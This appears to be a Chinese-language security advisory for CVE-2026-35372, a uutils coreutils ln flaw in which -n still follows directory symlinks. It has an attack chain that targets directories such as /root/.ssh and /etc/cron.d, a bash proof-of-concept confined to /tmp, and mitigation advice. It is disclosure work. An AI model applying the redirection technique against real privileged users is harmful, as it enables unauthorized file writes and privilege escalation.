IPBUF安全漏洞报告
English
CVE-2026-35372 CVSS 5.0 中危

CVE-2026-35372 uutils coreutils ln逻辑错误漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-35372
漏洞类型
逻辑错误
CVSS评分
5.0 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
uutils coreutils

相关标签

逻辑错误权限提升符号链接uutils coreutils本地攻击

漏洞概述

uutils coreutils的ln工具存在逻辑漏洞,使用--no-dereference参数时仍可能解析符号链接。该缺陷仅在--force模式下正确处理不解析逻辑,导致ln跟随指向目录的符号链接并在目标目录内创建新链接。本地攻击者可利用此漏洞,在特权用户使用ln -n更新链接时,操纵现有符号链接将文件创建重定向至敏感目录,造成未授权写入或配置篡改。

技术细节

该漏洞源于uutils coreutils项目中`ln`工具对`--no-dereference`(或`-n`)标志处理的逻辑缺陷。在正常逻辑中,`-n`参数应指示工具不跟随符号链接,而是将符号链接本身作为操作对象。然而,受影响版本的代码实现存在错误,仅在同时启用`--force`(强制覆盖)模式时才正确应用“不解析”逻辑。当用户仅使用`ln -n`而未使用`-f`时,如果最后一个路径组件是一个指向目录的符号链接,工具会错误地解析(跟随)该链接,进入目标目录并在内部创建新的硬链接,而非替换原本的符号链接。攻击者可利用这一行为,在环境中诱导或等待特权用户或脚本执行带有`-n`参数的ln命令。通过将符号链接指向敏感目录(如`/root/.ssh`、`/etc/cron.d`等),攻击者可以将原本应在当前位置创建的文件重定向写入敏感目录。这种未授权的文件创建可能导致权限提升、敏感信息泄露或系统配置被篡改,严重破坏系统完整性。

攻击链分析

STEP 1
步骤1:环境侦察
攻击者识别出系统使用了uutils coreutils,且存在特权用户或系统脚本使用`ln -n`命令来更新符号链接。
STEP 2
步骤2:准备恶意符号链接
攻击者创建一个指向敏感目录(如/etc或/root)的符号链接,放置在即将被`ln`命令操作的位置。
STEP 3
步骤3:触发漏洞利用
当特权进程执行`ln -n source_file link_target`时,由于漏洞存在,ln命令错误地跟随了符号链接。
STEP 4
步骤4:达成攻击效果
源文件被硬链接到敏感目录内部,而非替换符号链接,导致未授权文件写入,可能实现权限提升或系统破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-35372: uutils coreutils ln logic error # This demonstrates that `ln -n` dereferences the symlink target. echo "[*] Setting up environment for CVE-2026-35372 PoC..." # Create a sensitive directory simulating a restricted area mkdir -p /tmp/sensitive_target # Create a source file to be linked echo "Malicious Content" > /tmp/malicious_file # Create a symlink pointing to the sensitive directory ln -s /tmp/sensitive_target /tmp/vulnerable_link echo "[*] Attempting to create a link using 'ln -n' (should NOT follow symlink)..." # Vulnerable command: ln -n /tmp/malicious_file /tmp/vulnerable_link # Expected behavior (fixed): Replace /tmp/vulnerable_link with a hard link to /tmp/malicious_file # Vulnerable behavior: Follow /tmp/vulnerable_link -> /tmp/sensitive_target and create link inside it # Assuming 'ln' here is the vulnerable uutils version ln -n /tmp/malicious_file /tmp/vulnerable_link echo "[*] Checking contents of the sensitive target directory..." ls -l /tmp/sensitive_target/ if [ -f /tmp/sensitive_target/malicious_file ]; then echo "[+] Exploit successful! File was written inside the directory pointed by the symlink." else echo "[-] Exploit failed or patched." fi # Cleanup rm -rf /tmp/sensitive_target /tmp/vulnerable_link /tmp/malicious_file

影响范围

uutils coreutils < 0.8.0

防御指南

临时缓解措施
在未升级前,避免在不可信环境下对符号链接使用ln -n指令,或确保目标路径不被攻击者控制。可暂时使用原生的GNU coreutils替代。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表